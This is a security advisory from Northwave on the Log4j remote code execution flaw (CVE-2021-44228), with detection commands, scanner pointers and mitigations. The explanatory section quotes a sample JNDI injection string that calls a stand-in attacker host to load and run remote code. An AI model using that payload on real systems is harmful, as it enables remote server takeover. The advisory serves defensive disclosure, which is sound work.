Threat Response – Update: Remote Code Execution vulnerability in Java Log4j Library



Last Friday, 10 December 2021, we have informed you about a new Remote code Execution (RCE) vulnerability in the Java library ‘Apache Log4j 2’ [2]. The vulnerability is being tracked as CVE-2021-44228 [3]. This updated threat response includes instructions for finding vulnerable applications, updated mitigation options and links to the latest information on the vulnerability. Northwave sees that the vulnerability is actively being misused by malicious actors. Since this vulnerability requires your urgent attention, we are sending this update.


An unauthenticated remote code execution exists in the popular Java library ‘Apache Log4j 2’. This library is used by many Java-based applications for logging purposes. The vulnerability allows an attacker to execute arbitrary code within the Java process. This is made possible because the log4j library handled ‘formatted messages’. By means of an accessible input field or special HTTP-request, the attacker can exploit the vulnerability if the data is being logged by Log4j. An example of input that can trigger the exploit is “${jndi:ldap://attacker:443/evil.class}“. Whenever this input is logged by Log4j, a file could be obtained from the attacker’s server. The obtained file will then be executed by Java.

In short: applications that are remotely accessible, can handle user-input and use Log4j (version lower than 2.15.0) to log this input are potentially vulnerable.


If an attacker is successful in exploiting the vulnerability, arbitrary code can be executed and subsequently the attacker can take over the server running the vulnerable application. The entire attack can be carried out remotely and without requiring authentication. From the vulnerable server, the attacker can obtain access to the rest of the network. Because of these reasons, we classify the impact of this vulnerability as high.


The vulnerable code is located in a popular library present in many software packages, including webserver applications. Because these types of applications are typically accessible directly from the internet, it is trivial for an attacker to access a vulnerable server and attack it. We therefore classify the risk as high.

Finding vulnerable applications

Check for known vulnerable software.

The Dutch National Cyber Security Centre (NCSC-NL) published a list of known vulnerable software on Github[5]. Check if any software that your organisation has in use is one the list, and check vendor instructions on the recommended mitigation for these products. Note that this list keeps receiving updates and in cases software is not mentioned in this list, it does not mean that the software is not vulnerable.

Scan for known vulnerable software using EDR/vulnerability management tooling

Various vendors have included detection in their EDR/vulnerability management software. Microsoft added instructions for customers using Threat and Vulnerability Management to find vulnerable software using a hunting query[11]. Defender for Endpoint also provides an overview of vulnerable hosts in the Recommendations tab within Vulnerability Management page. Nexpose[12] and other vulnerability management vendors have included detection rules in their tooling as well.

Scan for known vulnerable software using a online scanning tool

Northwave released a scanning tool that is able to detect vulnerable systems by sending a payload to externally reachable systems via HTTP/HTTPS[6]. A modified version that uses Powershell is also available[7]. Due to the design of these checking script, it is likely that scans result in false negatives. Because these scripts require setting up a DNS server, running these scripts is not trivial. Customers can contact Northwave to have a check performed.

Scan for known vulnerable software locally

Another method of finding vulnerable software is performing scans to identify vulnerable Log4j libraries on the local system. The challenge with scanning on local systems is that Log4j libraries can be included in other software packages, JAR/WAR files, etc. Combining the methods described below will ensure the most complete overview of (vulnerable) Log4j instances.

Scanning for Log4J JAR files

In a lot of cases the Log4J JAR is included as-is, and can be recognised by searching for by the filename of the JAR archive. This can be done on Linux using:

find / -type f -name 'log4j-core-2*.jar'

On Windows (using Powershell):

Get-ChildItem -Path C:\ -Recurse | Where-Object { $_.Name -match 'log4j-core-2.*.jar' }

Scanning for JndiLookup.class:

Another quick check is to search for instances that use the JndiLookup.class that is part of Log4j. This will find Log4j instances that do not follow the filename convention that method 1 uses, but it will not find vulnerable files that are recursively packed. This will also find all the Log4j instances, also versions that are not vulnerable. A manual check is needed to determine the actual version. On Linux use:

find / 2>/dev/null -regex ".*.jar" -type f | xargs -I{} grep JndiLookup.class "{}"

On Windows (using Powershell):

gci 'C:\' -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path

These examples were copied from the curated Reddit page on Log4j maintained by NCC Group[8].

Recursively scanning for vulnerable class files

The most exhaustive and resource intensive method of scanning for vulnerable versions of Log4j is recursively scanning the filesystem, including unpacking JAR files and other archives. A local scanner written by Github user Hilko Bengen can be found on Github which is using a list of known vulnerable hashes[10]. DTACT released a scanner that recursively checks for all Log4j versions (excluding the latest not vulnerable version)[9].

Compromise assessment

In cases where a vulnerable system was connected to the public internet or is known to handle user input, the NCSC[13] and Northwave recommend performing a compromise assessment on those system to detect possible exploitation of the vulnerability. The NCSC is maintaining a list of indicators of compromise[5] that can help in performing such an assessment. In case you need help performing such an assessment, contact the Northwave CERT.


A new version of Log4j, version 2.15.0, is available at this moment [4].

If any of the applications you have built yourself contains the Log4j package, we urgently advise to upgrade to the newest version and deploy the new package.

For third-party applications you are using, we advise to contact the vendor for any updates.

If, at this very moment, upgrading is not possible, there are the following mitigation alternatives:

  1. For versions Log4j 2.10 or higher a temporary mitigation can be done by adding a variable to the configuration of the Java Virtual Machine running the application:
    1. log4j2.formatMsgNoLookups=true
  2. For versions Log4j 2.7 or higher the following can be added to the PatternLayout configuration:
    1. %m{nolookups}
  3. All versions:
    1. Removal of the class “JndiLookup” from the Java Classpath (e.g.: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class )

What will Northwave do?

For Northwave SOC customers using NIDS, or Endpoint Monitoring based on ESET or Microsoft Defender for Endpoint, Northwave is able to detect exploitation attempts. For detection on endpoints to be possible it is required to have the EDR agent (ESET or Defender for Endpoint) installed on the vulnerable host. Northwave is continuously updating the detections based on the latest information. Northwave Vulnerability Management customers will be informed if vulnerable Log4j instances are detected in their infrastructure.

Northwave can perform a check on external url’s to test whether your environment is vulnerable. Please contact the SOC with the specific url’s to perform the check on. Please note that the script only performs two specific checks: User Agent and HTTP GET request. There could be cases where other headers, specific input fields, etc. need to be targeted to trigger the vulnerability.

Northwave will monitor any developments regarding this vulnerability. We will will continuously update our page at with developments around this vulnerability[14] . If new critical information about this threat arises we will reach out to you. If you need additional information you can call us by phone or send us an email.

E-mail: [email protected]
Do you have an incident right now? Call our CERT number: +31 (0)85 043 7909

Disclaimer applies, see below.

















Northwave has made every effort to make this information accurate and reliable. However, the information provided is without warranty of any kind and its use is at the sole risk of the user. Northwave does not accept any responsibility or liability for the accuracy, content, completeness, legality or reliability of the information provided. We shall not be liable for any loss or damage of whatever nature, direct or indirect, consequential or other, whether arising in contract, tort or otherwise, which may arise as a result of your use of, or inability to use, this information or any additional information provided by us in direct or indirect relation to the information provided here.